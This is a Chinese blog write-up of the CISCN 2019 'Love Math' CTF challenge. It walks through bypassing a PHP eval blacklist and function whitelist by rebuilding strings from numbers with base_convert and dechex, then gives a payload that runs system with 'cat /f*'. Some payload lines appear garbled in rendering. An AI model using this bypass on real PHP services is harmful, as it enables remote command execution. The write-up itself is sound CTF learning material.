• [CISCN 2019 初赛]Love Math


    这道题思考了好多,本来一直想构造$_GET[1]来实现RCE的,结果一直构造不出来,出了各种报错。于是就一步一步来验证,解决自己的问题,更加理解了php eval 的原理吧

    解题

    进入页面就是给出了源代码:

    = 80) {
            die("太长了不会算");
        }
        $blacklist = [' ', '\t', '\r', '\n','\'', '"', '`', '\[', '\]'];
        foreach ($blacklist as $blackitem) {
            if (preg_match('/' . $blackitem . '/m', $content)) {
                die("请不要输入奇奇怪怪的字符");
            }
        }
        //常用数学函数http://www.w3school.com.cn/php/php_ref_math.asp
        $whitelist = ['abs', 'acos', 'acosh', 'asin', 'asinh', 'atan2', 'atan', 'atanh', 'base_convert', 'bindec', 'ceil', 'cos', 'cosh', 'decbin', 'dechex', 'decoct', 'deg2rad', 'exp', 'expm1', 'floor', 'fmod', 'getrandmax', 'hexdec', 'hypot', 'is_finite', 'is_infinite', 'is_nan', 'lcg_value', 'log10', 'log1p', 'log', 'max', 'min', 'mt_getrandmax', 'mt_rand', 'mt_srand', 'octdec', 'pi', 'pow', 'rad2deg', 'rand', 'round', 'sin', 'sinh', 'sqrt', 'srand', 'tan', 'tanh'];
        preg_match_all('/[a-zA-Z_\x7f-\xff][a-zA-Z_0-9\x7f-\xff]*/', $content, $used_funcs);  
        foreach ($used_funcs[0] as $func) {
            if (!in_array($func, $whitelist)) {
                die("请不要输入奇奇怪怪的函数");
            }
        }
        //帮你算出答案
        eval('echo '.$content.';');
    }

    本来想着无从下手,但是whitelist里面有几个函数其实是可以利用的:

    base_convert => 进制转换

    hex2bin => hex->ascii

    如此一来便可以利用数字构造字符串了。

    所以现在要来确定一下payload,起初我的思路是构造eval($_GET[1])但是总是构造不出来,因为前面有个echo,如果想要隔绝echo就必须用"1;eval($_GET[1])",于是就在这一步卡住了,总是构造不出来,因为('eval')('$_GET[1]')总是会报错,就只能用('system')('ls')来直接执行命令了。

    因为('system')('ls')是可行的。不过php版本似乎对这个有要求,再php5.6版本下一样的代码会报错,在php7.0确实成功执行的

    所以就构造payload是?c=($_GET[abs])($_GET[acos])&abs=system&acos=ls

    //参数使用abs,acos是因为这两个在白名单里面

    现在面临的问题是_GET[]都在白名单外面,于是就使用上面介绍的两个函数来绕过

    写一个脚本用来绕过:

     hex
    echo base_convert($string,16,10); //将 hex->10进制
    ?> 
    
    //输出 1598506324

    只要hex2bin(base_convert(1598506324,10,16))就可以还原_GET

    但现在问题是hex2bin也是白名单外的函数,所以就用36进制把hex2bin变成10进制

    用36进制的原因:

    36进制是包含所有英文字母的,然后hex2bin有个x是排在26个字母倒数第二个,所以要用36进制

     
    // 输出 37907361743

    实际环境试验一下:

    输出_GET说明可行。

    接下来就是[]的问题,[]可以用{}替代,即_GET{1}==_GET[1]

    由此payload就出来了:

    ?c=$abs=base_convert(37907361743,10,36)(dechex(1598506324));(absabs)(

    absabs)(
    abs{acos})&abs=system&acos=ls

    当我们满心欢喜提交payload的时候:

    于是必须想办法缩短payload,就从白名单的abs,acos入手,找尽量短的字符串

    c=$pi=base_convert(37907361743,10,36)(dechex(1598506324));(pi)pi((

    pi)pi((
    pi){cos})&pi=system&cos=cat /f*

    成功拿到flag

  • 相关阅读:
    花费三个月整理的MySQL系列文档 诚意之作 看完不亏
    改变element tree的展开关闭icon
    backend-alarm
    BufferedReader和BufferedWriter的实现原理
    小程序学习3 goods-card
    5G智能制造食品工厂数字孪生可视化平台,推进食品行业数字化转型
    Leetcode刷题1373. 二叉搜索子树的最大键值和
    java 数组一维转二维
    计算属性 vs methods
    SpringBoot集成Kafka低版本和高版本
  • 原文地址:https://blog.csdn.net/qq_64201116/article/details/126451777